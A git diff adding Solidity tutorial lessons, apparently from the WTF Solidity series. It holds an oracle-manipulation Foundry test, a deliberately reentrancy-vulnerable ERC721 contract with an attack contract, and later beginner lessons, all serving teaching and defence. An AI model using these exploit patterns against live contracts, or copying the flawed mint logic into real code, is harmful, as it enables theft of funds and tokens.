0x4Fabb145d64652a948d72533023f6E7A623C7C53; + address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; + IUniswapV2Router router; + IWETH private weth = IWETH(WETH); + IBUSD private busd = IBUSD(BUSD); + string MAINNET_RPC_URL; + oUSD ousd; + + function setUp() public { + MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL"); + // Specify the forked block + vm.createSelectFork(MAINNET_RPC_URL, 16060405); + router = IUniswapV2Router(ROUTER); + ousd = new oUSD(); + } + + //forge test --match-test testOracleAttack -vv + function testOracleAttack() public { + // Attack the oracle + // 0. Get the price before manipulating the oracle + uint256 priceBefore = ousd.getPrice(); + console.log("1. ETH Price (before attack): %s", priceBefore); + // Give yourself 1,000,000 BUSD + uint busdAmount = 1_000_000 * 10e18; + deal(BUSD, alice, busdAmount); + // 2. Buy WETH with BUSD to manipulate the oracle + vm.prank(alice); + busd.transfer(address(this), busdAmount); + swapBUSDtoWETH(busdAmount, 1); + console.log("2. Swap 1,000,000 BUSD to WETH to manipulate the oracle"); + // 3. Get the price after manipulating the oracle + uint256 priceAfter = ousd.getPrice(); + console.log("3. ETH price (after attack): %s", priceAfter); + // 4. Mint oUSD + ousd.swap{value: 1 ether}(); + console.log("4. Minted %s oUSD with 1 ETH (after attack)", ousd.balanceOf(address(this))/10e18); + } + + // Swap BUSD to WETH + function swapBUSDtoWETH(uint amountIn, uint amountOutMin) + public + returns (uint amountOut) + { + busd.approve(address(router), amountIn); + + address[] memory path; + path = new address[](2); + path[0] = BUSD; + path[1] = WETH; + + uint[] memory amounts = router.swapExactTokensForTokens( + amountIn, + amountOutMin, + path, + alice, + block.timestamp + ); + + // amounts[0] = BUSD amount, amounts[1] = WETH amount + return amounts[1]; + } +} +``` + +## How to Prevent + +Renowned blockchain security expert `samczsun` summarized how to prevent oracle manipulation in a [blog post](https://www.paradigm.xyz/2020/11/so-you-want-to-use-a-price-oracle). Here's a summary: + +1. Avoid using pools with low liquidity as price oracles. +2. Avoid using spot/instant prices as price oracles; incorporate price delays, such as Time-Weighted Average Price (TWAP). +3. Use decentralized oracles. +4. Use multiple data sources and select the ones closest to the median price as oracles to avoid extreme situations. +5. Carefully read the documentation and parameter settings of third-party price oracles. + +## Conclusion + +In this lesson, we introduced the manipulation of price oracles and attacked a vulnerable synthetic stablecoin contract, exchanging `1 ETH` for 17 trillion stablecoins, making us the richest person in the world (not really). diff --git a/S15_OracleManipulation_en/step1/test/Oracle.t.sol b/S15_OracleManipulation_en/step1/test/Oracle.t.sol new file mode 100644 index 000000000..68590c2f0 --- /dev/null +++ b/S15_OracleManipulation_en/step1/test/Oracle.t.sol @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/Oracle.sol"; + +contract OracleTest is Test { + address private constant alice = address(1); + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address private constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; + IUniswapV2Router router; + IWETH private weth = IWETH(WETH); + IBUSD private busd = IBUSD(BUSD); + string MAINNET_RPC_URL; + oUSD ousd; + + function setUp() public { + MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL"); + // Specify the forked block + vm.createSelectFork(MAINNET_RPC_URL, 16060405); + router = IUniswapV2Router(ROUTER); + ousd = new oUSD(); + } + + //forge test --match-test testOracleAttack -vv + function testOracleAttack() public { + // Attack the oracle + // 0. Get the price before manipulating the oracle + uint256 priceBefore = ousd.getPrice(); + console.log("1. ETH Price (before attack): %s", priceBefore); + // Give yourself 1,000,000 BUSD + uint busdAmount = 1_000_000 * 10e18; + deal(BUSD, alice, busdAmount); + // 2. Buy WETH with BUSD to manipulate the oracle + vm.prank(alice); + busd.transfer(address(this), busdAmount); + swapBUSDtoWETH(busdAmount, 1); + console.log("2. Swap 1,000,000 BUSD to WETH to manipulate the oracle"); + // 3. Get the price after manipulating the oracle + uint256 priceAfter = ousd.getPrice(); + console.log("3. ETH price (after attack): %s", priceAfter); + // 4. Mint oUSD + ousd.swap{value: 1 ether}(); + console.log("4. Minted %s oUSD with 1 ETH (after attack)", ousd.balanceOf(address(this))/10e18); + } + + // Swap BUSD to WETH + function swapBUSDtoWETH(uint amountIn, uint amountOutMin) + public + returns (uint amountOut) + { + busd.approve(address(router), amountIn); + + address[] memory path; + path = new address[](2); + path[0] = BUSD; + path[1] = WETH; + + uint[] memory amounts = router.swapExactTokensForTokens( + amountIn, + amountOutMin, + path, + alice, + block.timestamp + ); + + // amounts[0] = BUSD amount, amounts[1] = WETH amount + return amounts[1]; + } +} + +interface IWETH is IERC20 { + function deposit() external payable; + + function withdraw(uint amount) external; +} + +interface IBUSD is IERC20 { + function balanceOf(address account) external view returns (uint); +} + diff --git a/S16_NFTReentrancy_en/config.yml b/S16_NFTReentrancy_en/config.yml new file mode 100644 index 000000000..89e86e993 --- /dev/null +++ b/S16_NFTReentrancy_en/config.yml @@ -0,0 +1,14 @@ +id: s16-nft-reentrancy-attack +name: S16. NFT Reentrancy Attack +summary: Understand reentrancy vulnerabilities specific to NFT contracts. Learn how ERC721 and ERC1155 callbacks can be exploited and implement proper reentrancy guards. +level: 2 +tags: +- solidity +- security +- fallback +- nft +- erc721 +- erc1155 +steps: +- name: NFT Reentrancy Attack + path: step1 diff --git a/S16_NFTReentrancy_en/readme.md b/S16_NFTReentrancy_en/readme.md new file mode 100644 index 000000000..cf5b37b42 --- /dev/null +++ b/S16_NFTReentrancy_en/readme.md @@ -0,0 +1,17 @@ +--- +title: S16. NFT Reentrancy Attack +tags: + - solidity + - security + - fallback + - nft + - erc721 + - erc1155 +--- + +# WTF Solidity S16. NFT Reentrancy Attack + +In this lesson, we will discuss the reentrancy vulnerability in NFT contracts and attack a vulnerable NFT contract to mint 100 NFTs. + + + diff --git a/S16_NFTReentrancy_en/step1/NFTReentrancy.sol b/S16_NFTReentrancy_en/step1/NFTReentrancy.sol new file mode 100644 index 000000000..b2b2ee32a --- /dev/null +++ b/S16_NFTReentrancy_en/step1/NFTReentrancy.sol @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +// English translation by 22X +pragma solidity ^0.8.21; +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +// NFT contract with Reentrancy Vulnerability +contract NFTReentrancy is ERC721 { + uint256 public totalSupply; + mapping(address => bool) public mintedAddress; + // Constructor to initialize the name and symbol of the NFT collection + constructor() ERC721("Reentry NFT", "ReNFT"){} + + // Mint function, each user can only mint 1 NFT + // Contains a reentrancy vulnerability + function mint() payable external { + // Check if already minted + require(mintedAddress[msg.sender] == false); + // Increase total supply + totalSupply++; + // Mint the NFT + _safeMint(msg.sender, totalSupply); + // Record the minted address + mintedAddress[msg.sender] = true; + } +} + +contract Attack is IERC721Receiver { + NFTReentrancy public nft; // Address of the NFT contract + + // Initialize the NFT contract address + constructor(NFTReentrancy _nftAddr) { + nft = _nftAddr; + } + + // Attack function to initiate the attack + function attack() external { + nft.mint(); + } + + // Callback function for ERC721, repeatedly calls the mint function to mint 10 NFTs + function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { + if(nft.balanceOf(address(this)) < 10){ + nft.mint(); + } + return this.onERC721Received.selector; + } +} diff --git a/S16_NFTReentrancy_en/step1/img/S16-1.png b/S16_NFTReentrancy_en/step1/img/S16-1.png new file mode 100644 index 000000000..045fbf5b6 Binary files /dev/null and b/S16_NFTReentrancy_en/step1/img/S16-1.png differ diff --git a/S16_NFTReentrancy_en/step1/img/S16-2.png b/S16_NFTReentrancy_en/step1/img/S16-2.png new file mode 100644 index 000000000..79abf69a3 Binary files /dev/null and b/S16_NFTReentrancy_en/step1/img/S16-2.png differ diff --git a/S16_NFTReentrancy_en/step1/step1.md b/S16_NFTReentrancy_en/step1/step1.md new file mode 100644 index 000000000..b6f5f0880 --- /dev/null +++ b/S16_NFTReentrancy_en/step1/step1.md @@ -0,0 +1,135 @@ +--- +title: S16. NFT Reentrancy Attack +tags: + - solidity + - security + - fallback + - nft + - erc721 + - erc1155 +--- + +# WTF Solidity S16. NFT Reentrancy Attack + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will discuss the reentrancy vulnerability in NFT contracts and attack a vulnerable NFT contract to mint 100 NFTs. + +## NFT Reentrancy Risk + +In [S01 Reentrancy Attack](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/S01_ReentrancyAttack_en/readme.md), we discussed that reentrancy attack is one of the most common attacks in smart contracts, where an attacker exploits contract vulnerabilities (e.g., `fallback` function) to repeatedly call the contract and transfer assets or mint a large number of tokens. When transferring NFTs, the contract's `fallback` or `receive` functions are not triggered. So why is there a reentrancy risk? + +This is because the NFT standards ([ERC721](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/34_ERC721_en/readme.md)/[ERC1155](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/40_ERC1155_en/readme.md)) have introduced secure transfers to prevent users from accidentally sending assets to a black hole. If the recipient address is a contract, it will call the corresponding check function to ensure that it is ready to receive the NFT asset. For example, the `safeTransferFrom()` function of ERC721 calls the `onERC721Received()` function of the target address, and a hacker can embed malicious code in it to launch an attack. + +We have summarized the functions in ERC721 and ERC1155 that have potential reentrancy risks: + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S16_NFTReentrancy_en/step1/img/S16-1.png) + +## Vulnerable Example + +Now let's learn an example of an NFT contract with a reentrancy vulnerability. This is an `ERC721` contract where each address can mint one NFT for free, but we can exploit the reentrancy vulnerability to mint multiple NFTs at once. + +### Vulnerable Contract + +The `NFTReentrancy` contract inherits from the `ERC721` contract. It has two main state variables: `totalSupply` to track the total supply of NFTs and `mintedAddress` to keep track of addresses that have already been minted to prevent a user from minting multiple times. It has two main functions: + +- Constructor: Initializes the name and symbol of the `ERC721` NFT. +- `mint()`: Mint function where each user can mint one NFT for free. **Note: This function has a reentrancy vulnerability!** + +```solidity +contract NFTReentrancy is ERC721 { + uint256 public totalSupply; + mapping(address => bool) public mintedAddress; + // Constructor to initialize the name and symbol of the NFT collection + constructor() ERC721("Reentry NFT", "ReNFT"){} + + // Mint function, each user can only mint 1 NFT + // Contains a reentrancy vulnerability + function mint() payable external { + // Check if already minted + require(mintedAddress[msg.sender] == false); + // Increase total supply + totalSupply++; + // Mint the NFT + _safeMint(msg.sender, totalSupply); + // Record the minted address + mintedAddress[msg.sender] = true; + } +} +``` + +### Attack Contract + +The reentrancy vulnerability in the `NFTReentrancy` contract lies in the `mint()` function, which calls the `_safeMint()` function in the `ERC721` contract, which in turn calls the `_checkOnERC721Received()` function of the recipient address. If the recipient address's `_checkOnERC721Received()` contains malicious code, an attack can be performed. + +The `Attack` contract inherits the `IERC721Receiver` contract and has one state variable `nft` that stores the address of the vulnerable NFT contract. It has three functions: + +- Constructor: Initializes the address of the vulnerable NFT contract. +- `attack()`: Attack function that calls the `mint()` function of the NFT contract and initiates the attack. +- `onERC721Received()`: ERC721 callback function with embedded malicious code that repeatedly calls the `mint()` function and mints 10 NFTs. + +```solidity +contract Attack is IERC721Receiver { + NFTReentrancy public nft; // Address of the NFT contract + + // Initialize the NFT contract address + constructor(NFTReentrancy _nftAddr) { + nft = _nftAddr; + } + + // Attack function to initiate the attack + function attack() external { + nft.mint(); + } + + // Callback function for ERC721, repeatedly calls the mint function to mint 10 NFTs + function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { + if(nft.balanceOf(address(this)) < 10){ + nft.mint(); + } + return this.onERC721Received.selector; + } +} +``` + +## Reproduce on `Remix` + +1. Deploy the `NFTReentrancy` contract. +2. Deploy the `Attack` contract with the `NFTReentrancy` contract address as the parameter. +3. Call the `attack()` function of the `Attack` contract to initiate the attack. +4. Call the `balanceOf()` function of the `NFTReentrancy` contract to check the holdings of the `Attack` contract. You will see that it holds `10` NFTs, indicating a successful attack. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S16_NFTReentrancy_en/step1/img/S16-2.png) + +## How to Prevent + +There are two main methods to prevent reentrancy attack vulnerabilities: checks-effects-interactions pattern and reentrant guard. + +1. Checks-Effects-Interactions Pattern: This pattern emphasizes checking the state variables, updating the state variables (e.g., balances), and then interacting with other contracts. We can use this pattern to fix the vulnerable `mint()` function: + +```solidity + function mint() payable external { + // Check if already minted + require(mintedAddress[msg.sender] == false); + // Increase total supply + totalSupply++; + // Record the minted address + mintedAddress[msg.sender] = true; + // Mint the NFT + _safeMint(msg.sender, totalSupply); + } +``` + +2. Reentrant Lock: It is a modifier used to prevent reentrant functions. It is recommended to use [ReentrancyGuard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol) provided by OpenZeppelin. + +## Summary + +In this lesson, we introduced the reentrancy vulnerability in NFTs and attacked a vulnerable NFT contract by minting 100 NFTs. Currently, there are two main methods to prevent reentrancy attacks: the checks-effects-interactions pattern and the reentrant lock. diff --git a/SolidityBasicsVideos/config.yml b/SolidityBasicsVideos/config.yml new file mode 100644 index 000000000..68b3dae4d --- /dev/null +++ b/SolidityBasicsVideos/config.yml @@ -0,0 +1,11 @@ +id: solidity-basics-videos +name: Solidity Basics Videos +summary: 'Learn Solidity fundamentals through video tutorials covering Hello World, events, functions, payable functions, state variables, gas, and gas price.' +level: beginner +tags: +- solidity +- beginner +- tutorial +steps: +- name: Solidity Basics Videos + path: step1 diff --git a/SolidityBasicsVideos/readme.md b/SolidityBasicsVideos/readme.md new file mode 100644 index 000000000..660017689 --- /dev/null +++ b/SolidityBasicsVideos/readme.md @@ -0,0 +1,3 @@ +# Solidity Basics Videos + +Learn the fundamentals of Solidity programming through video tutorials. This series covers essential concepts from Hello World to gas optimization. diff --git a/SolidityBasicsVideos/step1/step1.md b/SolidityBasicsVideos/step1/step1.md new file mode 100644 index 000000000..3b59c7cda --- /dev/null +++ b/SolidityBasicsVideos/step1/step1.md @@ -0,0 +1,41 @@ +# Solidity Basics Videos + +## Introduction + +This tutorial provides a comprehensive introduction to Solidity programming basics. Watch these videos to learn fundamental concepts that every Solidity developer needs to know. + +## Topics Covered + +### 1. Hello World +Get started with Solidity by writing your first smart contract - a simple Hello World program. + +![youtube](https://www.youtube.com/embed/g_t0Td4Kr6M) + +### 2. Events +Learn how to use events in Solidity to emit data from your smart contracts, which can be listened to by frontend applications. + +![youtube](https://www.youtube.com/embed/nopo9KwwRg4) + +### 3. Functions +Understand the different types of functions in Solidity, function visibility, and how to structure your contract's logic. + +![youtube](https://www.youtube.com/embed/71cmPaD_AnQ) + +### 4. Payable Functions +Learn how to create functions that can receive Ether and handle cryptocurrency transactions in your smart contracts. + +![youtube](https://www.youtube.com/embed/yD9EL1QN40Q) + +### 5. State Variables +Understand state variables in Solidity - how to declare, use, and manage data that persists on the blockchain. + +![youtube](https://www.youtube.com/embed/4XQsHBJScEk) + +### 6. Gas & Gas Price +Learn about gas in Ethereum, how it works, how to estimate gas costs, and tips for writing gas-efficient code. + +![youtube](https://www.youtube.com/embed/oTS9uxU6cAM) + +## Next Steps + +After mastering these Solidity basics, you'll be ready to explore more advanced topics like data structures, control flow, and low-level EVM operations. diff --git a/SolidityBasics_Part1_Fundamentals/config.yml b/SolidityBasics_Part1_Fundamentals/config.yml new file mode 100644 index 000000000..3ddd7ae85 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/config.yml @@ -0,0 +1,38 @@ +id: solidity-basics-part1 +name: Solidity Basics - Part 1 - Fundamentals (Lessons 1-15) +summary: Learn Solidity fundamentals from scratch - value types, functions, data storage, arrays, structs, mappings, control flow, modifiers, events, inheritance, interfaces, and error handling. This comprehensive tutorial covers the essential building blocks of Solidity programming. +level: 1 +tags: + - solidity + - basics +steps: + - name: HelloWeb3 (Solidity in 3 lines) + path: step1 + - name: Value Types + path: step2 + - name: Function + path: step3 + - name: Function Output (return/returns) + path: step4 + - name: Data Storage and Scope + path: step5 + - name: Array & Struct + path: step6 + - name: Mapping + path: step7 + - name: Initial Value + path: step8 + - name: Constant and Immutable + path: step9 + - name: Control Flow + path: step10 + - name: constructor and modifier + path: step11 + - name: Events + path: step12 + - name: Inheritance + path: step13 + - name: Abstract and Interface + path: step14 + - name: Errors + path: step15 diff --git a/SolidityBasics_Part1_Fundamentals/readme.md b/SolidityBasics_Part1_Fundamentals/readme.md new file mode 100644 index 000000000..8822ee9c0 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/readme.md @@ -0,0 +1,3 @@ +# Solidity Basics - Part 1: Fundamentals + +This tutorial aggregates lessons 1-15 covering Solidity fundamentals. diff --git a/SolidityBasics_Part1_Fundamentals/step1/HelloWeb3.sol b/SolidityBasics_Part1_Fundamentals/step1/HelloWeb3.sol new file mode 100644 index 000000000..866c2d739 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step1/HelloWeb3.sol @@ -0,0 +1,5 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract HelloWeb3{ + string public _string = "Hello Web3!";} + \ No newline at end of file diff --git a/SolidityBasics_Part1_Fundamentals/step1/img/1-1.png b/SolidityBasics_Part1_Fundamentals/step1/img/1-1.png new file mode 100644 index 000000000..8d4a592e7 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step1/img/1-1.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step1/img/1-2.png b/SolidityBasics_Part1_Fundamentals/step1/img/1-2.png new file mode 100644 index 000000000..9c512745e Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step1/img/1-2.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step1/img/1-3.png b/SolidityBasics_Part1_Fundamentals/step1/img/1-3.png new file mode 100644 index 000000000..7b16b711c Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step1/img/1-3.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step1/step1.md b/SolidityBasics_Part1_Fundamentals/step1/step1.md new file mode 100644 index 000000000..de5ddaca6 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step1/step1.md @@ -0,0 +1,89 @@ +# WTF Solidity Tutorial: 1. HelloWeb3 (Solidity in 3 lines) + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +## WTF is Solidity? + +`Solidity` is a programming language used for creating smart contracts on the Ethereum Virtual Machine (EVM). It's a necessary skill for working on blockchain projects. Moreover, as many of them are open-source, understanding the code can help in avoiding money-losing projects. + + +`Solidity` has two characteristics: + +1. Object-oriented: After learning it, you can use it to make money by finding the right projects. +2. Advanced: If you can write smart contracts in Solidity, you are the first class citizen of Ethereum. + +## Development tool: Remix + +In this tutorial, we will be using `Remix` to run `solidity` contracts. `Remix` is a smart contract development IDE (Integrated Development Environment) recommended by Ethereum official. It is suitable for beginners, allows for quick deployment and testing of smart contracts in the browser, without needing to install any programs on your local machine. + +Website: [remix.ethereum.org](https://remix.ethereum.org) + +Upon entering `Remix`, you can see that the menu on the left-hand side has three buttons, corresponding to the file (where you write the code), compile (where you run the code), and deploy (where you deploy to the chain). By clicking the "Create New File" button, you can create a blank `solidity` contract. + +Within Remix, we can see that there are four buttons on the leftmost vertical menu, corresponding to FILE EXPLORER (where to write code), SEARCH IN FILES (find and replace files), SOLIDITY COMPILER (to run code), and DEPLOY & RUN TRANSACTIONS (on-chain deployment). We can create a blank Solidity contract by clicking the `Create New File` button. + +![Remix Menu](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/01_HelloWeb3_en/step1/img/1-1.png) + +## The first Solidity program + +This one is easy, the program only contains 1 line of comment and 3 lines of code: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract HelloWeb3{ + string public _string = "Hello Web3!";} +``` + +Now, we will breakdown and analyze the source code in detail, understanding the basic structure: + +1. The first line is a comment, which denotes the software license (license identifier) used by the program. We are using the MIT license. If you do not indicate the license used, the program can compile successfully but will report a warning during compilation. Solidity's comments are denoted with "//", followed by the content of the comment (which will not be run by the program). + +```solidity +// SPDX-License-Identifier: MIT +``` + +2. The second line declares the Solidity version used by the source file because the syntax of different versions is different. This line of code means that the source file will not allow compilation by compiler versions lower than v0.8.21 and not higher than v0.9.0 (the second condition is provided by `^`). + +```solidity +pragma solidity ^0.8.21; +``` + +3. Lines 3 and 4 are the main body of the smart contract. Line 3 creates a contract with the name `HelloWeb3`. Line 4 is the content of the contract. Here, we created a string variable called `_string` and assigned "Hello Web3!" as value to it. + +```solidity +contract HelloWeb3{ + string public _string = "Hello Web3!";} +``` +We will introduce the different variables in Solidity later. + +## Code compilation and deployment + +In the code editor, press CTRL+S to compile the code. + +After compilation, click the `Deploy` button on the left menu to enter the deployment page. + + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/01_HelloWeb3_en/step1/img/1-2.png) + +By default, Remix uses the JavaScript virtual machine to simulate the Ethereum chain and run smart contracts, similar to running a testnet on the browser. Remix will allocate several test accounts to you, each with 100 ETH (test tokens). You can click `Deploy` (yellow button) to deploy the contract. + + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/01_HelloWeb3_en/step1/img/1-3.png) + +After a successful deployment, you will see a contract named `HelloWeb3` below. By clicking on the variable `_string`, it will print its value: `"Hello Web3!"`. + +## Summary + +In this tutorial, we briefly introduced `Solidity`, `Remix` IDE, and completed our first Solidity program - `HelloWeb3`. Going forward, we will continue our Solidity journey. + +### Recommended materials on Solidity: + +1. [Solidity Documentation](https://docs.soliditylang.org/en/latest/) +2. Solidity Tutorial by freeCodeCamp: + +![youtube](https://www.youtube.com/embed/ipwxYa-F1uY) diff --git a/SolidityBasics_Part1_Fundamentals/step10/InsertionSort.sol b/SolidityBasics_Part1_Fundamentals/step10/InsertionSort.sol new file mode 100644 index 000000000..bbd1edf34 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step10/InsertionSort.sol @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract InsertionSort { + // if else + function ifElseTest(uint256 _number) public pure returns(bool){ + if(_number == 0){ + return(true); + }else{ + return(false); + } + } + + // for loop + function forLoopTest() public pure returns(uint256){ + uint sum = 0; + for(uint i = 0; i < 10; i++){ + sum += i; + } + return(sum); + } + + // while + function whileTest() public pure returns(uint256){ + uint sum = 0; + uint i = 0; + while(i < 10){ + sum += i; + i++; + } + return(sum); + } + + // do-while + function doWhileTest() public pure returns(uint256){ + uint sum = 0; + uint i = 0; + do{ + sum += i; + i++; + }while(i < 10); + return(sum); + } + + // Ternary/Conditional operator + function ternaryTest(uint256 x, uint256 y) public pure returns(uint256){ + // return the max of x and y + return x >= y ? x: y; + } + + + // Insertion Sort(Wrong version) + function insertionSortWrong(uint[] memory a) public pure returns(uint[] memory) { + // note that uint can not take negative value + for (uint i = 1;i < a.length;i++){ + uint temp = a[i]; + uint j=i-1; + while( (j >= 0) && (temp < a[j])){ + a[j+1] = a[j]; + j--; + } + a[j+1] = temp; + } + return(a); + } + + // Insertion Sort(Correct Version) + function insertionSort(uint[] memory a) public pure returns(uint[] memory) { + // note that uint can not take negative value + for (uint i = 1;i < a.length;i++){ + uint temp = a[i]; + uint j=i; + while( (j >= 1) && (temp < a[j-1])){ + a[j] = a[j-1]; + j--; + } + a[j] = temp; + } + return(a); + } +} diff --git a/SolidityBasics_Part1_Fundamentals/step10/img/10-1.jpg b/SolidityBasics_Part1_Fundamentals/step10/img/10-1.jpg new file mode 100644 index 000000000..dbad48589 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step10/img/10-1.jpg differ diff --git a/SolidityBasics_Part1_Fundamentals/step10/img/S-i6rwCMeXoi8eNJ0fRdB.png b/SolidityBasics_Part1_Fundamentals/step10/img/S-i6rwCMeXoi8eNJ0fRdB.png new file mode 100644 index 000000000..af73b8c7c Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step10/img/S-i6rwCMeXoi8eNJ0fRdB.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step10/step1.md b/SolidityBasics_Part1_Fundamentals/step10/step1.md new file mode 100644 index 000000000..7a17383ef --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step10/step1.md @@ -0,0 +1,172 @@ +# WTF Solidity Tutorial: 10. Control Flow + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + + +----- + +In this section, we will introduce control flow in Solidity, and write an insertion sort (`InsertionSort`), a program that looks simple but is actually bug-prone. + +## Control Flow + +Solidity's control flow is similar to other languages, mainly including the following components: + +1. `if-else` + +```solidity +function ifElseTest(uint256 _number) public pure returns(bool){ + if(_number == 0){ + return(true); + }else{ + return(false); + } +} +``` + +2. `for loop` + +```solidity +function forLoopTest() public pure returns(uint256){ + uint sum = 0; + for(uint i = 0; i < 10; i++){ + sum += i; + } + return(sum); +} +``` + +3. `while loop` + +```solidity +function whileTest() public pure returns(uint256){ + uint sum = 0; + uint i = 0; + while(i < 10){ + sum += i; + i++; + } + return(sum); +} +``` + +4. `do-while loop` + +```solidity +function doWhileTest() public pure returns(uint256){ + uint sum = 0; + uint i = 0; + do{ + sum += i; + i++; + }while(i < 10); + return(sum); +} +``` + +5. Conditional (`ternary`) operator + +The `ternary` operator is the only operator in Solidity that accepts three operands: a condition followed by a question mark (`?`), then an expression `x` to execute if the condition is true followed by a colon (`:`), and finally the expression `y` to execute if the condition is false: `condition ? x : y`. + +This operator is frequently used as an alternative to an `if-else` statement. + +```solidity +// ternary/conditional operator +function ternaryTest(uint256 x, uint256 y) public pure returns(uint256){ + // return the max of x and y + return x >= y ? x: y; +} +``` + +In addition, there are `continue` (immediately enter the next loop) and `break` (break out of the current loop) keywords that can be used. + +## `Solidity` Implementation of Insertion Sort + +**Note**: Over 90% of people who write the insertion algorithm with Solidity will get it wrong on the first try. + +### Insertion Sort + +The sorting algorithm solves the problem of arranging an unordered set of numbers from small to large, for example, sorting `[2, 5, 3, 1]` to `[1, 2, 3, 5]`. Insertion Sort (`InsertionSort`) is the simplest and first sorting algorithm that most developers learn in their computer science class. The logic of `InsertionSort`: + +1. from the beginning of the array `x` to the end, compare the element `x[i]` with the element in front of it `x[i-1]`; if `x[i]` is smaller, switch their positions, compare it with `x[i-2]`, and continue this process. + +The schematic of insertion sort: + +![InsertionSort](https://i.pinimg.com/originals/92/b0/34/92b034385c440e08bc8551c97df0a2e3.gif) + +### Python Implementation + +Let's first look at the Python Implementation of the insertion sort: + +```python +# Python program for implementation of Insertion Sort +def insertionSort(arr): + for i in range(1, len(arr)): + key = arr[i] + j = i-1 + while j >=0 and key < arr[j] : + arr[j+1] = arr[j] + j -= 1 + arr[j+1] = key + return arr +``` + +### Solidity Implementation (with Bug) + +Python version of Insertion Sort takes up 9 lines. Let's rewrite it into Solidity by replacing `functions`, `variables`, and `loops` with solidity syntax accordingly. It only takes up 9 lines of code: + +``` solidity + // Insertion Sort (Wrong version) + function insertionSortWrong(uint[] memory a) public pure returns(uint[] memory) { + for (uint i = 1;i < a.length;i++){ + uint temp = a[i]; + uint j=i-1; + while( (j >= 0) && (temp < a[j])){ + a[j+1] = a[j]; + j--; + } + a[j+1] = temp; + } + return(a); + } +``` + +But when we compile the modified version and try to sort `[2, 5, 3, 1]`. *BOOM!* There are bugs! After 3-hour debugging, I still could not find where the bug was. I googled "Solidity insertion sort", and found that all the insertion algorithms written with Solidity are all wrong, such as [Sorting in Solidity without Comparison](https://medium.com/coinmonks/sorting-in-solidity-without-comparison-4eb47e04ff0d) + +Errors occurred in `Remix decoded output`: + +![10-1](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/10_InsertionSort_en/step1/img/10-1.jpg) + +### Solidity Implementation (Correct) + +With the help of a friend from `Dapp-Learning` community, we finally found the problem. The most commonly used variable type in Solidity is `uint`, which represents a non-negative integer. If it takes a negative value, we will encounter an `underflow` error. In the above code, the variable `j` will get `-1`, causing the bug. + +So, we need to add `1` to `j` so it can never take a negative value. The correct insertion sort solidity code: + +```solidity + // Insertion Sort(Correct Version) + function insertionSort(uint[] memory a) public pure returns(uint[] memory) { + // note that uint can not take negative value + for (uint i = 1;i < a.length;i++){ + uint temp = a[i]; + 